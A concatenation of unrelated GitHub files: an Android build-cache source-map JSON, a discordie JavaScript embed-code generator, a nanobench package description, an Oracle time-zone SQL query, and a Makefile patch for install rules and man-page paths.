"endColumn": 118,
"endOffset": 4156
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 46,
"startColumn": 4,
"startOffset": 4042,
"endColumn": 118,
"endOffset": 4156
}
}
},
{
"to": {
"startLine": 47,
"startColumn": 4,
"startOffset": 4161,
"endLine": 51,
"endColumn": 12,
"endOffset": 4528
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 47,
"startColumn": 4,
"startOffset": 4161,
"endLine": 51,
"endColumn": 12,
"endOffset": 4528
}
}
},
{
"to": {
"startLine": 52,
"startColumn": 4,
"startOffset": 4533,
"endLine": 53,
"endColumn": 12,
"endOffset": 4677
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 52,
"startColumn": 4,
"startOffset": 4533,
"endLine": 53,
"endColumn": 12,
"endOffset": 4677
}
}
},
{
"to": {
"startLine": 54,
"startColumn": 4,
"startOffset": 4682,
"endLine": 55,
"endColumn": 12,
"endOffset": 4826
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 54,
"startColumn": 4,
"startOffset": 4682,
"endLine": 55,
"endColumn": 12,
"endOffset": 4826
}
}
},
{
"to": {
"startLine": 56,
"startColumn": 4,
"startOffset": 4831,
"endColumn": 111,
"endOffset": 4938
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 56,
"startColumn": 4,
"startOffset": 4831,
"endColumn": 111,
"endOffset": 4938
}
}
},
{
"to": {
"startLine": 57,
"startColumn": 4,
"startOffset": 4943,
"endColumn": 146,
"endOffset": 5085
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 57,
"startColumn": 4,
"startOffset": 4943,
"endColumn": 146,
"endOffset": 5085
}
}
},
{
"to": {
"startLine": 58,
"startColumn": 4,
"startOffset": 5090,
"endLine": 59,
"endColumn": 12,
"endOffset": 5238
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 58,
"startColumn": 4,
"startOffset": 5090,
"endLine": 59,
"endColumn": 12,
"endOffset": 5238
}
}
},
{
"to": {
"startLine": 60,
"startColumn": 4,
"startOffset": 5243,
"endLine": 61,
"endColumn": 12,
"endOffset": 5385
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 60,
"startColumn": 4,
"startOffset": 5243,
"endLine": 61,
"endColumn": 12,
"endOffset": 5385
}
}
},
{
"to": {
"startLine": 62,
"startColumn": 4,
"startOffset": 5390,
"endColumn": 74,
"endOffset": 5460
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 62,
"startColumn": 4,
"startOffset": 5390,
"endColumn": 74,
"endOffset": 5460
}
}
},
{
"to": {
"startLine": 63,
"startColumn": 4,
"startOffset": 5465,
"endColumn": 88,
"endOffset": 5549
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 63,
"startColumn": 4,
"startOffset": 5465,
"endColumn": 88,
"endOffset": 5549
}
}
},
{
"to": {
"startLine": 64,
"startColumn": 4,
"startOffset": 5554,
"endColumn": 86,
"endOffset": 5636
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 64,
"startColumn": 4,
"startOffset": 5554,
"endColumn": 86,
"endOffset": 5636
}
}
},
{
"to": {
"startLine": 65,
"startColumn": 4,
"startOffset": 5641,
"endColumn": 100,
"endOffset": 5737
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 65,
"startColumn": 4,
"startOffset": 5641,
"endColumn": 100,
"endOffset": 5737
}
}
},
{
"to": {
"startLine": 66,
"startColumn": 4,
"startOffset": 5742,
"endColumn": 102,
"endOffset": 5840
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 66,
"startColumn": 4,
"startOffset": 5742,
"endColumn": 102,
"endOffset": 5840
}
}
},
{
"to": {
"startLine": 67,
"startColumn": 4,
"startOffset": 5845,
"endLine": 110,
"endColumn": 12,
"endOffset": 8908
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 67,
"startColumn": 4,
"startOffset": 5845,
"endLine": 110,
"endColumn": 12,
"endOffset": 8908
}
}
},
{
"to": {
"startLine": 111,
"startColumn": 4,
"startOffset": 8913,
"endLine": 113,
"endColumn": 12,
"endOffset": 9094
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 111,
"startColumn": 4,
"startOffset": 8913,
"endLine": 113,
"endColumn": 12,
"endOffset": 9094
}
}
},
{
"to": {
"startLine": 114,
"startColumn": 4,
"startOffset": 9099,
"endLine": 157,
"endColumn": 12,
"endOffset": 12174
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 114,
"startColumn": 4,
"startOffset": 9099,
"endLine": 157,
"endColumn": 12,
"endOffset": 12174
}
}
},
{
"to": {
"startLine": 158,
"startColumn": 4,
"startOffset": 12179,
"endLine": 160,
"endColumn": 12,
"endOffset": 12372
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 158,
"startColumn": 4,
"startOffset": 12179,
"endLine": 160,
"endColumn": 12,
"endOffset": 12372
}
}
},
{
"to": {
"startLine": 161,
"startColumn": 4,
"startOffset": 12377,
"endLine": 163,
"endColumn": 12,
"endOffset": 12572
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 161,
"startColumn": 4,
"startOffset": 12377,
"endLine": 163,
"endColumn": 12,
"endOffset": 12572
}
}
},
{
"to": {
"startLine": 164,
"startColumn": 4,
"startOffset": 12577,
"endLine": 165,
"endColumn": 12,
"endOffset": 12695
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 164,
"startColumn": 4,
"startOffset": 12577,
"endLine": 165,
"endColumn": 12,
"endOffset": 12695
}
}
},
{
"to": {
"startLine": 166,
"startColumn": 4,
"startOffset": 12700,
"endLine": 167,
"endColumn": 12,
"endOffset": 12818
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 166,
"startColumn": 4,
"startOffset": 12700,
"endLine": 167,
"endColumn": 12,
"endOffset": 12818
}
}
},
{
"to": {
"startLine": 168,
"startColumn": 4,
"startOffset": 12823,
"endLine": 169,
"endColumn": 12,
"endOffset": 12931
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 168,
"startColumn": 4,
"startOffset": 12823,
"endLine": 169,
"endColumn": 12,
"endOffset": 12931
}
}
},
{
"to": {
"startLine": 170,
"startColumn": 4,
"startOffset": 12936,
"endLine": 172,
"endColumn": 12,
"endOffset": 13114
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 170,
"startColumn": 4,
"startOffset": 12936,
"endLine": 172,
"endColumn": 12,
"endOffset": 13114
}
}
},
{
"to": {
"startLine": 173,
"startColumn": 4,
"startOffset": 13119,
"endLine": 174,
"endColumn": 12,
"endOffset": 13245
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 173,
"startColumn": 4,
"startOffset": 13119,
"endLine": 174,
"endColumn": 12,
"endOffset": 13245
}
}
},
{
"to": {
"startLine": 175,
"startColumn": 4,
"startOffset": 13250,
"endLine": 177,
"endColumn": 12,
"endOffset": 13446
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 175,
"startColumn": 4,
"startOffset": 13250,
"endLine": 177,
"endColumn": 12,
"endOffset": 13446
}
}
},
{
"to": {
"startLine": 178,
"startColumn": 4,
"startOffset": 13451,
"endColumn": 88,
"endOffset": 13535
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 178,
"startColumn": 4,
"startOffset": 13451,
"endColumn": 88,
"endOffset": 13535
}
}
},
{
"to": {
"startLine": 179,
"startColumn": 4,
"startOffset": 13540,
"endColumn": 110,
"endOffset": 13646
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 179,
"startColumn": 4,
"startOffset": 13540,
"endColumn": 110,
"endOffset": 13646
}
}
},
{
"to": {
"startLine": 180,
"startColumn": 4,
"startOffset": 13651,
"endLine": 182,
"endColumn": 12,
"endOffset": 13879
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 180,
"startColumn": 4,
"startOffset": 13651,
"endLine": 182,
"endColumn": 12,
"endOffset": 13879
}
}
},
{
"to": {
"startLine": 183,
"startColumn": 4,
"startOffset": 13884,
"endColumn": 100,
"endOffset": 13980
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 183,
"startColumn": 4,
"startOffset": 13884,
"endColumn": 100,
"endOffset": 13980
}
}
},
{
"to": {
"startLine": 184,
"startColumn": 4,
"startOffset": 13985,
"endColumn": 94,
"endOffset": 14075
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 184,
"startColumn": 4,
"startOffset": 13985,
"endColumn": 94,
"endOffset": 14075
}
}
},
{
"to": {
"startLine": 185,
"startColumn": 4,
"startOffset": 14080,
"endColumn": 122,
"endOffset": 14198
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 185,
"startColumn": 4,
"startOffset": 14080,
"endColumn": 122,
"endOffset": 14198
}
}
},
{
"to": {
"startLine": 186,
"startColumn": 4,
"startOffset": 14203,
"endColumn": 128,
"endOffset": 14327
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 186,
"startColumn": 4,
"startOffset": 14203,
"endColumn": 128,
"endOffset": 14327
}
}
},
{
"to": {
"startLine": 187,
"startColumn": 4,
"startOffset": 14332,
"endColumn": 116,
"endOffset": 14444
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 187,
"startColumn": 4,
"startOffset": 14332,
"endColumn": 116,
"endOffset": 14444
}
}
},
{
"to": {
"startLine": 188,
"startColumn": 4,
"startOffset": 14449,
"endLine": 190,
"endColumn": 12,
"endOffset": 14621
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 188,
"startColumn": 4,
"startOffset": 14449,
"endLine": 190,
"endColumn": 12,
"endOffset": 14621
}
}
},
{
"to": {
"startLine": 191,
"startColumn": 4,
"startOffset": 14626,
"endColumn": 98,
"endOffset": 14720
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 191,
"startColumn": 4,
"startOffset": 14626,
"endColumn": 98,
"endOffset": 14720
}
}
},
{
"to": {
"startLine": 192,
"startColumn": 4,
"startOffset": 14725,
"endLine": 193,
"endColumn": 12,
"endOffset": 14855
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 192,
"startColumn": 4,
"startOffset": 14725,
"endLine": 193,
"endColumn": 12,
"endOffset": 14855
}
}
},
{
"to": {
"startLine": 194,
"startColumn": 4,
"startOffset": 14860,
"endLine": 195,
"endColumn": 12,
"endOffset": 14998
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 194,
"startColumn": 4,
"startOffset": 14860,
"endLine": 195,
"endColumn": 12,
"endOffset": 14998
}
}
},
{
"to": {
"startLine": 196,
"startColumn": 4,
"startOffset": 15003,
"endLine": 197,
"endColumn": 12,
"endOffset": 15133
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 196,
"startColumn": 4,
"startOffset": 15003,
"endLine": 197,
"endColumn": 12,
"endOffset": 15133
}
}
},
{
"to": {
"startLine": 198,
"startColumn": 4,
"startOffset": 15138,
"endLine": 199,
"endColumn": 12,
"endOffset": 15252
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 198,
"startColumn": 4,
"startOffset": 15138,
"endLine": 199,
"endColumn": 12,
"endOffset": 15252
}
}
},
{
"to": {
"startLine": 200,
"startColumn": 4,
"startOffset": 15257,
"endLine": 203,
"endColumn": 12,
"endOffset": 15453
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 200,
"startColumn": 4,
"startOffset": 15257,
"endLine": 203,
"endColumn": 12,
"endOffset": 15453
}
}
},
{
"to": {
"startLine": 204,
"startColumn": 4,
"startOffset": 15458,
"endLine": 205,
"endColumn": 12,
"endOffset": 15572
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 204,
"startColumn": 4,
"startOffset": 15458,
"endLine": 205,
"endColumn": 12,
"endOffset": 15572
}
}
},
{
"to": {
"startLine": 206,
"startColumn": 4,
"startOffset": 15577,
"endColumn": 92,
"endOffset": 15665
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 206,
"startColumn": 4,
"startOffset": 15577,
"endColumn": 92,
"endOffset": 15665
}
}
},
{
"to": {
"startLine": 207,
"startColumn": 4,
"startOffset": 15670,
"endColumn": 110,
"endOffset": 15776
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 207,
"startColumn": 4,
"startOffset": 15670,
"endColumn": 110,
"endOffset": 15776
}
}
},
{
"to": {
"startLine": 208,
"startColumn": 4,
"startOffset": 15781,
"endColumn": 55,
"endOffset": 15832
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 208,
"startColumn": 4,
"startOffset": 15781,
"endColumn": 55,
"endOffset": 15832
}
}
},
{
"to": {
"startLine": 209,
"startColumn": 4,
"startOffset": 15837,
"endLine": 210,
"endColumn": 12,
"endOffset": 15939
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 209,
"startColumn": 4,
"startOffset": 15837,
"endLine": 210,
"endColumn": 12,
"endOffset": 15939
}
}
},
{
"to": {
"startLine": 211,
"startColumn": 4,
"startOffset": 15944,
"endLine": 214,
"endColumn": 12,
"endOffset": 16134
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 211,
"startColumn": 4,
"startOffset": 15944,
"endLine": 214,
"endColumn": 12,
"endOffset": 16134
}
}
},
{
"to": {
"startLine": 215,
"startColumn": 4,
"startOffset": 16139,
"endLine": 216,
"endColumn": 12,
"endOffset": 16245
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 215,
"startColumn": 4,
"startOffset": 16139,
"endLine": 216,
"endColumn": 12,
"endOffset": 16245
}
}
},
{
"to": {
"startLine": 217,
"startColumn": 4,
"startOffset": 16250,
"endLine": 218,
"endColumn": 12,
"endOffset": 16378
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 217,
"startColumn": 4,
"startOffset": 16250,
"endLine": 218,
"endColumn": 12,
"endOffset": 16378
}
}
},
{
"to": {
"startLine": 219,
"startColumn": 4,
"startOffset": 16383,
"endColumn": 94,
"endOffset": 16473
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 219,
"startColumn": 4,
"startOffset": 16383,
"endColumn": 94,
"endOffset": 16473
}
}
},
{
"to": {
"startLine": 220,
"startColumn": 4,
"startOffset": 16478,
"endColumn": 90,
"endOffset": 16564
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 220,
"startColumn": 4,
"startOffset": 16478,
"endColumn": 90,
"endOffset": 16564
}
}
},
{
"to": {
"startLine": 221,
"startColumn": 4,
"startOffset": 16569,
"endColumn": 90,
"endOffset": 16655
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 221,
"startColumn": 4,
"startOffset": 16569,
"endColumn": 90,
"endOffset": 16655
}
}
},
{
"to": {
"startLine": 222,
"startColumn": 4,
"startOffset": 16660,
"endColumn": 116,
"endOffset": 16772
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 222,
"startColumn": 4,
"startOffset": 16660,
"endColumn": 116,
"endOffset": 16772
}
}
},
{
"to": {
"startLine": 223,
"startColumn": 4,
"startOffset": 16777,
"endLine": 224,
"endColumn": 12,
"endOffset": 16911
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 223,
"startColumn": 4,
"startOffset": 16777,
"endLine": 224,
"endColumn": 12,
"endOffset": 16911
}
}
},
{
"to": {
"startLine": 225,
"startColumn": 4,
"startOffset": 16916,
"endColumn": 70,
"endOffset": 16982
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 225,
"startColumn": 4,
"startOffset": 16916,
"endColumn": 70,
"endOffset": 16982
}
}
},
{
"to": {
"startLine": 226,
"startColumn": 4,
"startOffset": 16987,
"endColumn": 82,
"endOffset": 17065
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 226,
"startColumn": 4,
"startOffset": 16987,
"endColumn": 82,
"endOffset": 17065
}
}
},
{
"to": {
"startLine": 227,
"startColumn": 4,
"startOffset": 17070,
"endLine": 236,
"endColumn": 12,
"endOffset": 17745
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 227,
"startColumn": 4,
"startOffset": 17070,
"endLine": 236,
"endColumn": 12,
"endOffset": 17745
}
}
},
{
"to": {
"startLine": 237,
"startColumn": 4,
"startOffset": 17750,
"endColumn": 56,
"endOffset": 17802
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 237,
"startColumn": 4,
"startOffset": 17750,
"endColumn": 56,
"endOffset": 17802
}
}
},
{
"to": {
"startLine": 238,
"startColumn": 4,
"startOffset": 17807,
"endColumn": 57,
"endOffset": 17860
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 238,
"startColumn": 4,
"startOffset": 17807,
"endColumn": 57,
"endOffset": 17860
}
}
},
{
"to": {
"startLine": 239,
"startColumn": 4,
"startOffset": 17865,
"endLine": 250,
"endColumn": 12,
"endOffset": 18554
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 239,
"startColumn": 4,
"startOffset": 17865,
"endLine": 250,
"endColumn": 12,
"endOffset": 18554
}
}
},
{
"to": {
"startLine": 251,
"startColumn": 4,
"startOffset": 18559,
"endLine": 262,
"endColumn": 12,
"endOffset": 19260
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 251,
"startColumn": 4,
"startOffset": 18559,
"endLine": 262,
"endColumn": 12,
"endOffset": 19260
}
}
},
{
"to": {
"startLine": 263,
"startColumn": 4,
"startOffset": 19265,
"endColumn": 118,
"endOffset": 19379
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 263,
"startColumn": 4,
"startOffset": 19265,
"endColumn": 118,
"endOffset": 19379
}
}
},
{
"to": {
"startLine": 264,
"startColumn": 4,
"startOffset": 19384,
"endColumn": 128,
"endOffset": 19508
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 264,
"startColumn": 4,
"startOffset": 19384,
"endColumn": 128,
"endOffset": 19508
}
}
},
{
"to": {
"startLine": 265,
"startColumn": 4,
"startOffset": 19513,
"endLine": 267,
"endColumn": 12,
"endOffset": 19679
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 265,
"startColumn": 4,
"startOffset": 19513,
"endLine": 267,
"endColumn": 12,
"endOffset": 19679
}
}
},
{
"to": {
"startLine": 268,
"startColumn": 4,
"startOffset": 19684,
"endLine": 270,
"endColumn": 12,
"endOffset": 19845
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 268,
"startColumn": 4,
"startOffset": 19684,
"endLine": 270,
"endColumn": 12,
"endOffset": 19845
}
}
},
{
"to": {
"startLine": 271,
"startColumn": 4,
"startOffset": 19850,
"endColumn": 128,
"endOffset": 19974
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 271,
"startColumn": 4,
"startOffset": 19850,
"endColumn": 128,
"endOffset": 19974
}
}
},
{
"to": {
"startLine": 272,
"startColumn": 4,
"startOffset": 19979,
"endLine": 274,
"endColumn": 12,
"endOffset": 20145
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 272,
"startColumn": 4,
"startOffset": 19979,
"endLine": 274,
"endColumn": 12,
"endOffset": 20145
}
}
},
{
"to": {
"startLine": 275,
"startColumn": 4,
"startOffset": 20150,
"endColumn": 130,
"endOffset": 20276
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 275,
"startColumn": 4,
"startOffset": 20150,
"endColumn": 130,
"endOffset": 20276
}
}
},
{
"to": {
"startLine": 276,
"startColumn": 4,
"startOffset": 20281,
"endLine": 278,
"endColumn": 12,
"endOffset": 20446
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 276,
"startColumn": 4,
"startOffset": 20281,
"endLine": 278,
"endColumn": 12,
"endOffset": 20446
}
}
},
{
"to": {
"startLine": 279,
"startColumn": 4,
"startOffset": 20451,
"endLine": 281,
"endColumn": 12,
"endOffset": 20621
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 279,
"startColumn": 4,
"startOffset": 20451,
"endLine": 281,
"endColumn": 12,
"endOffset": 20621
}
}
},
{
"to": {
"startLine": 282,
"startColumn": 4,
"startOffset": 20626,
"endLine": 286,
"endColumn": 12,
"endOffset": 20962
},
"from": {
"file": "/Users/adesnos/.android/build-cache/6049bb840cc27ce5fb7a6acc00a687a79c4b4e76/output/res/values-v21/values-v21.xml",
"position": {
"startLine": 282,
"startColumn": 4,
"startOffset": 20626,
"endLine": 286,
"endColumn": 12,
"endOffset": 20962
}
}
}
]
}
]
|
{
"pile_set_name": "Github"
}
|
export default {
name: 'discordie (JavaScript)',
language: 'javascript',
generateFrom(data) {
if (data.embed) {
return (
`const data = ${JSON.stringify(data.embed, null, ' ')};\n` +
`channel.sendMessage(${JSON.stringify(data.content)}, false, data);`
);
}
return `channel.sendMessage(${JSON.stringify(data.content)});`;
}
};
|
{
"pile_set_name": "Github"
}
|
Source: nanobench
Version: 4.0.0
Homepage: https://nanobench.ankerl.com
Description: Simple, fast, accurate single-header microbenchmarking functionality for C++11/14/17/20
|
{
"pile_set_name": "Github"
}
|
select from_tz(cast(to_date('1999-12-01 11:00:00','yyyy-mm-dd hh:mi:ss') as timestamp), 'america/new_york') at time zone 'america/los_angeles' "west coast time" from dual
|
{
"pile_set_name": "Github"
}
|
--- src/common.inc.orig 2019-08-27 15:43:26 UTC
+++ src/common.inc
@@ -193,9 +193,9 @@ else
export WSTRINGOP_TRUNCATION_AVAILABLE
endif
-install_recursive = $(shell cd $(1) && find . -type f -exec install -m $(2) -D {} $(3)/{} \;)
+install_recursive = $(shell cd $(1) && find . -type d -exec install -d $(3)/{} \; && find . -type f -exec install -m $(2) {} $(3)/{} \;)
-install_recursive_filter = $(shell cd $(1) && find . -type f -name "$(2)" -exec install -m $(3) -D {} $(4)/{} \;)
+install_recursive_filter = $(shell cd $(1) && find . -type d -exec install -d $(4)/{} \; && find . -type f -name "$(2)" -exec install -m $(3) {} $(4)/{} \;)
define create-deps
@cp $(objdir)/$*.d $(objdir)/.deps/$*.P; \
@@ -216,7 +216,7 @@ export prefix = /usr/local
export exec_prefix := $(prefix)
export sysconfdir := $(prefix)/etc
export datarootdir := $(prefix)/share
-export mandir := $(datarootdir)/man
+export mandir := $(MANPREFIX)/man
export docdir := $(datarootdir)/doc
export man1dir := $(mandir)/man1
export man3dir := $(mandir)/man3
|
{
"pile_set_name": "Github"
}
|
<?php
